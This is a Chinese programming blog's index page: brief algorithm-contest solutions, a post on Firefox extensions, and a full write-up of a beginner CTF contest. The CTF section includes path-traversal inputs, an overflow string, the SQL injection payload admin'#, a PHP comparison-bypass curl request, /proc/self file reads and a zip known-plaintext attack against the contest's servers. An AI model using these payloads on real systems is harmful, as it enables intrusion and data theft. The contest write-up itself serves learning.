Woshiluo's Notebook

POJ 3071 Football

2020年9月24日2020年12月16日 by woshiluo

1 题目大意

给定 $2^n$ 个整数，从 $1$ 到 $2^n$ 编号

给定 $p_{i,j}(1\leq i \leq n, 1 \leq j \leq n)$

定义一次操作为

选中 $2k$ 和 $2k+1$ ( $0 \leq k, k \in Z, 2k+1 \leq n$ )
其中有 $p_{2k,2k+1}$ 的概率选中 $2k$
其中有 $p_{2k+1,2k}$ 的概率选中 $2k+1$

把所有选择的数字组成一个新的数列，大小为 $\frac{n}{2}$

显然最后会只剩 $1$ 个数字

问剩哪个数字的概率最大

Continue reading “POJ 3071 Football”

LibreOJ 2789 「CEOI2015 Day2」世界冰球锦标赛

2020年9月7日2020年12月16日 by woshiluo

题意

题目链接: https://loj.ac/problem/2789

给定 $m$ 和一个长度为 $n$ 数列 $a$

一种方案为从 $a$ 中选择 $k (0 \leq k \leq n)$ 个数字出来（在一个方案中，每一位只能选择一次）

一种合法的方案为选择的所有数字加起来不超过 $m$

$n \leq 40$

Continue reading “LibreOJ 2789 「CEOI2015 Day2」世界冰球锦标赛”

AtCoder Regular Contest 084 D Small Multiple

2020年9月7日2020年12月16日 by woshiluo

题意

题目链接: https://atcoder.jp/contests/arc084/tasks/arc084_b

要求 $ x = ak(a \in N) $，定义 $f(x)$ 为 $x$ 在十进制下每一位数字的和

思路

一开始肯定想的是大力枚举，但是很快就可以发现大力枚举可以被卡掉，因为另一个数字可以非常大

然后就考虑缩小另一个数字的范围

一开始的思路顺着质因数分解走的，但是想了半天没有想出来

考后发现顺着质因数的过于复杂，我们可以直接考虑 $x \bmod k$ 意义下的情况

从 $ x $ 到 $ x + 1 $，答案显然增加 1

但是如果 x 一直加 1 会加到 10 ，这个情况答案在事实上没有增加 1

我们可以发现只有其在某一步变成 10 倍才会发生这种事件，那么再加一条边

从 $x$ 到 $10x$，答案不增加

这样就构成了一条图，从 $0$ 到 $1$ 的最短路就是所求答案

Continue reading “AtCoder Regular Contest 084 D Small Multiple”

Codeforces Round #666 (Div. 2) 题目大意 & 解题报告

2020年9月2日2020年12月16日 by woshiluo

即 Codeforces Round 1397
比赛链接: https://codeforces.com/contest/1397

A Juggling Letters

题目大意

给你 $n$ 个字符串，问能不能打乱成相等的三个字符串

思路

因为可以随意打乱，所以统计每个字母个数，只要每个字母的个数模 $n$ 余 $0$ 即可

Continue reading “Codeforces Round #666 (Div. 2) 题目大意 & 解题报告”

Codefoces #1382 解题报告 & 部分翻译

2020年7月22日2020年12月16日 by woshiluo

A Common Subsequence

0 题目大意

给你两个序列 $a,b$，求两个序列最短的公共子序列

1 代码

对，是最短……

Continue reading “Codefoces #1382 解题报告 & 部分翻译”

AC 自动机 — LOJ 3089 「BJOI2019」奥术神杖

2020年7月21日2020年12月16日 by woshiluo

0 说在之前

我吐了，这题我写了两天……

考虑到我自己写的博客还没有 AC 自动机的，我会简单写一下

1 AC 自动机

1.0 什么是 AC 自动机

有一个说烂但是很形象的说法 Trie + KMP

AC 自动机用于多模式串匹配

就是你拿一个字符串，和一堆字符串

然后 AC 自动机可以让你快速的知道这一堆字符串中，那些是你这一个字符串的子串

Continue reading “AC 自动机 — LOJ 3089 「BJOI2019」奥术神杖”

重学后缀数组 — LOJ 2122 「NOI2015」品酒大会

2020年7月20日2020年12月16日 by woshiluo

0 说在之前

jt 学长说的没错，SA 果然是写一次忘一次……

于是这次重新学了一次，发现之前的 Blog 问题比较多，于是重写一次算了

实际上这些东西就是变相重写 Oi Wiki 后缀数组那一页，不过是写给自己的罢了

Continue reading “重学后缀数组 — LOJ 2122 「NOI2015」品酒大会”

随记 – Firefox 扩展

2020年6月14日 by woshiluo

0 事出有因

之前手滑执行了一次命令，导致 Firefox 的配置文件没了

然后操作失误，把云端备份的插件列表搞没了

万幸的是目前整理到的损失似乎只有这些，那就顺便整理一下自己的插件吧

1 插件

1.1 美化

事实上，Firefox 默认主题挺好看的

配合 Arc Theme 可以得到更好的显示效果，何乐而不为

Firefox 默认的标签页有点单调。啥都不显示没意思，显示的东西又没啥用……

所以使用 Tabliss 是一个不错的选择

1.2 标签页

当你标签页血多的时候，Firefox 会在标签栏提供一个滚动条

虽然很人性化，但是明显不够用啊

使用 OneTab 可以归档标签页。毕竟一般开那么多个标签页，真正在用的也没几个

使用 Tree Style Tab 可以给以树形结构管理标签页，改变线性的标签页整理方式

1.3 屏蔽一些恼人的东西

uBlock Origin

广告屏蔽，比 AdblockPlus 快多了

uBlacklist

配合 cobaltdisco/Google-Chinese-Results-Blocklist 使用，可以在 Google 屏蔽掉大部分 SEO 站

~~什么时候中文互联网的 SEO 站能少一点~~

1.4 功能扩展

Violentmonkey

暴力猴，在 https://greasyfork.org/zh-CN 或者是 Github 上搞到脚本后就往这东西里面放

我使用的脚本有这些

the1812/Bilibili-Evolved Bilibili 的功能越砍越残缺了，破站迟早药丸。这个脚本可以增强/美化 Bilibili 的页面，省得被 Bilibili 强奸大脑
CSDN 净化这没什么说的，CSDN 你马死了
woshiluo/syzoj-copy-button 给 SYZOJ 增加 Copy 样例到剪切版的功能。~~请问 syzoj-ng 什么时候好~~

To Google Translate

用这个可以通过快捷键直接把选中内容送到 Google Translate 里

Aria2 Download Manager Integration

捕获下载链接，直接传给 Aria2

后台挂两个 Aria2，配合这个使用体验不错

不过，这个插件自带的 webui 不太可用，会自动覆盖设置

不过你都后台挂两个 Aria2 了，顺手搭个 httpd 挂个 Aria2 webui 应该也很简单

1.5 安全性

HTTPS Everywhere

重写一些 http 请求为 https，防止某些网站/运营商耍流氓

Firefox Multi-Account Containers

对于国内的毒瘤，除了独立沙箱，应该没有什么防的住 ta 作恶的

这个插件提供了容器功能，你可以把你觉得不太行的网页每次用指定容器打开

终于不用隐私模式用 Baidu 了

2 一点设置

把性能里的线程调小点

Firefox 的个性化可以避免一堆插件挤在你得地址栏上，毕竟你经常会调整设置的插件也就那么几个

3 为什么使用 Firefox

这个问题实际上是没有答案的，浏览器这种东西比较偏个人。你喜欢那个，那个就是对的

不过这里还是给几个理由

Firefox 曾经是比 Chrome 资源占用少很多。

不过现在 Firefox 也用默认多线程了，这个优势虽然还有一点，但也不算多了

所以找几个这之外的理由

隐私，像比较 Chrome 这种商业公司搞出来的东西，Firefox 在隐私上面要优秀很多
便捷，Google 账号同步比 Firefox 的账号同步困难不少
为用户着想，至少不会像 Chrome 一样说搞广告屏蔽器就搞，说砍什么就砍

出于时间原因，没有能力给这几个理由找依据

如果你不相信我的话，那么关闭这个页面就好

Lilac Train Writeup

2020年5月4日2020年5月4日 by woshiluo

0 写在之前

应该是一场新手入门欢乐赛

打着也确实快乐，应该是我 CTF 比赛第一次做出 Oi 之外的题目

绝大多数知识点都在 CTF Wiki 上，剩下就是脑洞了

管他呢，mcfx txdy！

1 PWN

1 坤坤の地址

同志，用 Linux！

然后就是 nc 一把梭

$ nc 47.94.239.235 4001
welcome to [email protected]
Here is kunkun's address:
flag{zonghelou_714}

2 坤坤の唱

放进 IDA 去，一看，就是打开 $signer/$music，不允许你写 ../

然后 Hint 告诉你要访问 ../flag

然后就是傻逼题目了

nc 47.94.239.235 4002
input the singer's name:
..
input the song's name:
/flag
here is the lyric:
flag{w0w_you_successfully_escape_the_r3strict}

3 坤坤の石头剪刀布

打开一看，发现 rand() 函数的种子是 time()%10

那为什么要动脑子，写个种子是 0 的情况

试一下就行了

#include <cstdio>

int num = 0;

int myRand() {
    num = (num * num + 233) % 23333;
    return num;
}

void mySrand(unsigned int seed) {
    num = seed;
}

int playOnce() {
    fflush(stdout);

    int ai = myRand() % 3;

    if( ai == 0)
        return 1;
    if( ai == 1)
        return 2;
    if( ai == 2)
        return 0;
}

int main() {
    mySrand(1);
    int n = 100;
    while( n -- ) {
        printf( "%d\n", playOnce() );
    }
}

然后直接拿输出日服务器就行了

4 坤坤の篮球

题目给了二进制，大力 IDA

IDA 告诉我们 Hint，是根据 Target 位移出来的东西

简单的分析可以发现，基本上就是 8 位一截

然后写个程序大力草就行了

basket.cpp:

#include <cstdio>

#include <iostream>

int n;

int read() {
  int x = 0, w = 1; char ch = 0;
  while (ch < '0' || ch > '9') {  if (ch == '-') w = -1; ch = getchar(); }
  while (ch >= '0' && ch <= '9') { x = x * 10 + (ch - '0'); ch = getchar(); }
  return x * w;
}


int main() {
    while(1) {
        n = read();
        int u1 = ( 1 << 8 ) - 1;
        int tmp1 = n & u1;
        n >>= 8;
        int tmp2 = n & u1;
        n >>= 8;
        int tmp3 = n & u1;
        n >>= 8;
        int tmp4 = n & u1;

        int res = tmp1;
        res <<= 8;
        res |= tmp4;
        res <<= 8;
        res |= tmp2;
        res <<= 8;
        res |= tmp3;
        printf( "%d\n", res );
    }
}

//-1897606077
// 00011101110010011010100010000110./basket.run  0.00s user 0.00s system 0% cpu 2.026 total
// 
// Press ENTER or type command to continue
// 1133434084
// 10000111000111011010100111001000./basket.run  0.00s user 0.00s system 0% cpu 0.656 total
//
// 00011101 11001001 10101000 10000110
// 10000111 00011101 10101001 11001000
// 10001001 00011101 10101011 11000110

temp.py:

#!/usr/bin/python

from pwn import *

sh = process( './basket.o' )
rem = remote( "47.94.239.235", "4003" )

rem.recvline()
sh.sendline( rem.recvline() )
rem.sendline( sh.readline() )

for i in range (1,90):
    print( rem.recvline() )
    print( rem.recvline() )
    print( rem.recvline() )
    print( rem.recvline() )
    print( rem.recvline() )
    print( rem.recvline() )
    print( rem.recvline() )
    print( rem.recvline() )
    sh.sendline( rem.recvline() )
    rem.sendline( sh.readline() )

rem.interactive()

事后发现基本上随便乱输入就可以得到 flag

~~毕竟是 pwn 题~~

5 坤坤のrap

放到 IDA，读入量比字符串定义的多

直接多放点就过去了

$ nc 47.94.239.235 4004
请开始你的表演:
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
ncongrats, here is the flag
flag{stack_0verflow_is_annoying!!}
tql!!!

6 坤坤の舞

和上面的题目一样，都有溢出的漏洞

执行 get_flag() 函数应该会输出 Flag

那 pwntool 直接草就行了

扩展阅读：栈溢出原理 – CTF Wiki

7 坤坤の绝地反击

和上面一样，还是溢出，但是这次要带个参

然后我直接按普通堆做

全然没有注意开了 NX 保护…

后来给了个 Hint

那就是大力 ROP 搞就行了

扩展阅读：基本 ROP – CTF Wiki

2 RE

1 basicre1

逐位 Xor 加密，直接解

2 basicre2

代码就是对着 char 瞎jb位移

然后倒推一下，输出，没了

当时写了个 cpp 还原的，找不到了，不过本来就是签到题，不管了

3 basicre3

代码注释里表明这是个算法

目测 TEA 及其变种

网上找个解密的，没了

4 babyre

IDA 后基本上可以发现这是个 RC4 加密算法

然而我赛后才发现

想个办法把里面东西倒出来

发现程序调用了 memcmp，LD_PRELOAD 可以套到目标密文

RC4 具有自反性，在把目标密文放进去，得到明文，也就是 Flag

5 hundred

赛后 mcfx 爷提醒是个数组，还是个巨大线性方程组

我拿 IDA 打开，然后得到了一大堆 if 包裹的条件判断

Vim 随便处理一下就可以变成 z3 的 solve 函数的参数

然后放到 z3 里跑就行了

如果直接用 .model() 输出会输出不全，手动 .model().eval()

脚本太大了，这里是链接：https://blog.woshiluo.com/wp-content/uploads/2020/05/libac_re5.zip

我怎么写的这么多行？

Vim 宏真好用

3 WEB

这次的 WEB 题相比较别的真的好欢乐…

1 F12

curl -v 或者直接 F12 看 Header

2 i18n

extract 会覆盖变量，考虑覆盖 language_file

没了

3 ezsql

签到题，payload 是 admin'#

4 ezsql again

查看页面原码，得到 login.php.bak

发现 SQL 注入可能性基本为 0

我们可以使 $dbpass 为 null

发现进来的 $password 没有验证，不传就行了

5 where is flag?

题目给了任意读，但是扬了 flag

可惜 file 被 open 了，我们可以在 procfs 里找到

但是我们并不知道 pid

所以用一个科技 /proc/self

没了

6 ez_bypass

感觉这个比上一道简单

php md5 碰撞
php == 符号不需要相等
json_decode 后面会覆盖前面的

构造一下

curl http://47.93.34.105:8081/\?s\=QNKCDZO\&t\=240610708 -d 'pw=20200501", "password": "shouhukunkun'

没了

7 是什么蒙蔽了你的双眼

我确实菜

对着题目给的参数 base64 -d 三次，得到 flag.jpg

猜测参数就是查询套三次 base64

然后试图获取 index.php

发现替换了非字母且非.为空
替换 config 为 !

扫描 .index.php.swp

提示看 f1lllaggg!lilac.php

然后代码审计 f1lllaggg!lilac.php

要么 extract 魔改 t，要么直接传空 t 可以过非严格判断

所以那个链接是干什么的，迷惑

4 CRYPTO

这次的比赛激起了我对 Crypto 的兴趣

前五题都是工具题目，没啥说的

合理运用 CyberChef 和 Wikipedia 即可

6 单表替换

https://quipqiup.com/ 爆破即可

7 CH₃COOH

题目说是原题，直接拖 Google

实际上是 Vigenère 密码，和醋酸的英文名几乎一样

然后找个工具爆破就没了

8 三天之内

查看源码，发现使用 Unix 时间戳做密码

Unix 时间戳就那么多，写个爆破就行了

from Crypto.Cipher import AES
#from secret import flag
import time
from hashlib import md5
import base64

time = int(time.time())
while 1:
    time = time - 1
    key = md5(str(time).encode()).digest()
    aes = AES.new(key, AES.MODE_ECB)
    flag = base64.b64decode( 'THM3FOB7PxOgVoI1fGsqQDJLGu41mL9nKCNeMvXzB+l8MFirir0C19YRS/ruDILq')
    outData = aes.decrypt(flag)
    print(outData)

跑个 30s，在输出里搜索一下 flag 就行了

9 神必 base64

基本上就是 b64 变种

映射一下就行了

#include <cstdio>

char mp[1000];

int main() {
    FILE* qwq = fopen( "qwq", "r" );
    FILE* cip = fopen( "cipher.txt", "r" );
    char s1, s2;
    while( fscanf( qwq, "%c", &s1 ) !=EOF && fscanf( cip, "%c", &s2 ) ) {
        if( map[s1] != 0 ) 
            continue;
        mp[s1] = s2;
    }
    for( char a = 'A'; a <= 'Z'; a ++ ) {
        if( mp[a] == 0 )
            printf( "0" );
        printf( "%c", mp[a] );
    }
    for( char a = 'a'; a <= 'z'; a ++ ) {
        if( mp[a] == 0 )
            printf( "0" );
        printf( "%c", mp[a] );
    }
    for( char a = '0'; a <= '9'; a ++ ) {
        if( mp[a] == 0 )
            printf( "0" );
        printf( "%c", mp[a] );
    }
    printf( "%c", mp['+'] );
    printf( "%c", mp['/'] );
    printf( "%c", mp['='] );

}

10 RSA – 0

RSA 原理题

直接解就行了

11 RSA – 1

n 变成三个质数相乘了，但是不影响我们解密

import binascii
import gmpy

p = 252647779892687905173761792949656998433
q = 290615416181922737045361451171930371659
r = 281613259213037257262703439109757908501
n = p * q * r
e = 0x10001
# rased = pow(flag, e, n)
rsaed = 1169612223485519024207841670191078798101684935551461601922416127588930439758194701318838707953651437973827125265577

phi = ( p - 1 ) * ( q - 1 ) * ( r - 1 )
inv = gmpy.invert( e, phi )

print(inv)
print(hex(pow( rsaed, inv, n )))

小插曲，我本来手写的 exgcd 求逆元，结果写错了，最后因为不会 py 而选择了 gmpy

5 MISC

1 打工是不可能打工的

题目关于劳动法和基本法的什么东西就先略过了

大家都知道是怎么回事（

然后，StegSolve 直接 Frame 逐个看就行了

2 zip-0

题目说的是 9 位数字密码

这，不就是爆破

虽然事后发现 7zip 可以直接打开，惊了

据说是非预期的错误，笑了

3 zip-1

题目说了 010Editor

那就没什么说的了

4 樱花

strings

没了

5 隐写

仔细看，Red plane 0 左上角一段白

就选择 Red plane 0 通道，LSB 一下，就知道 Flag 了

6 真正的互联网

访问链接即可

7 zip-2

明文破解

pkcrack -c "lilac.png" -p lilac.png -C ./zip-2.zip -P ./lilac-logo.zip -d qwq.zip

没了

8 Yankee with no brim

binwalk 草出来里面的 png

发现 png 的 CRC 有问题

改个 Height，没了

9 大司马与千层饼

~~我先建议出题人司马~~

直接 OD 会有一句 You see the string,but it is not so easy...but it's baby! 来嘲讽你

总之 binwalk 套出里面的 7z，解压出来是个 gif，string 里面的 Flag 是 Fake

gif 逐帧草出来两个残缺二维码，补全，扫一下，结果还是 Fake

赛后有 Hint 告诉我们

「你在第二层,你以为他在第五层,实际上他在第一层」

你妈的，直接对 EXE Resource Hacker 得到一个凯撒密码

解出来是个网址，访问是个残缺二维码

补上定位点，扫就得到 Flag

6 Basic

没啥说的，签到

7 结

总之是一场相当快乐的比赛

几乎除了 Web 所有东西都是现学的，这大概就是在线比赛的乐趣吧，没有所谓记忆造成的堡垒

感谢举办方，给了我学习的机会

最后，跟我一起喊，mcfx 天下第一！

1 题目大意

题意

题意

思路

A Juggling Letters

题目大意

思路

A Common Subsequence

0 题目大意

1 代码

0 说在之前

1 AC 自动机

1.0 什么是 AC 自动机

0 说在之前

0 事出有因

1 选择 ROM

0 事出有因

1 插件

1.1 美化

1.2 标签页

1.3 屏蔽一些恼人的东西

1.4 功能扩展

1.5 安全性

2 一点设置

3 为什么使用 Firefox

0 写在之前

1 PWN

1 坤坤の地址

2 坤坤の唱

3 坤坤の石头剪刀布

4 坤坤の篮球

5 坤坤のrap

6 坤坤の舞

7 坤坤の绝地反击

2 RE

1 basicre1

2 basicre2

3 basicre3

4 babyre

5 hundred

3 WEB

1 F12

2 i18n

3 ezsql

4 ezsql again

5 where is flag?

6 ez_bypass

7 是什么蒙蔽了你的双眼

4 CRYPTO

6 单表替换

7 CH₃COOH

8 三天之内

9 神必 base64

10 RSA – 0

11 RSA – 1

5 MISC

1 打工是不可能打工的

2 zip-0

3 zip-1

4 樱花

5 隐写

6 真正的互联网

7 zip-2

8 Yankee with no brim

9 大司马与千层饼

6 Basic

7 结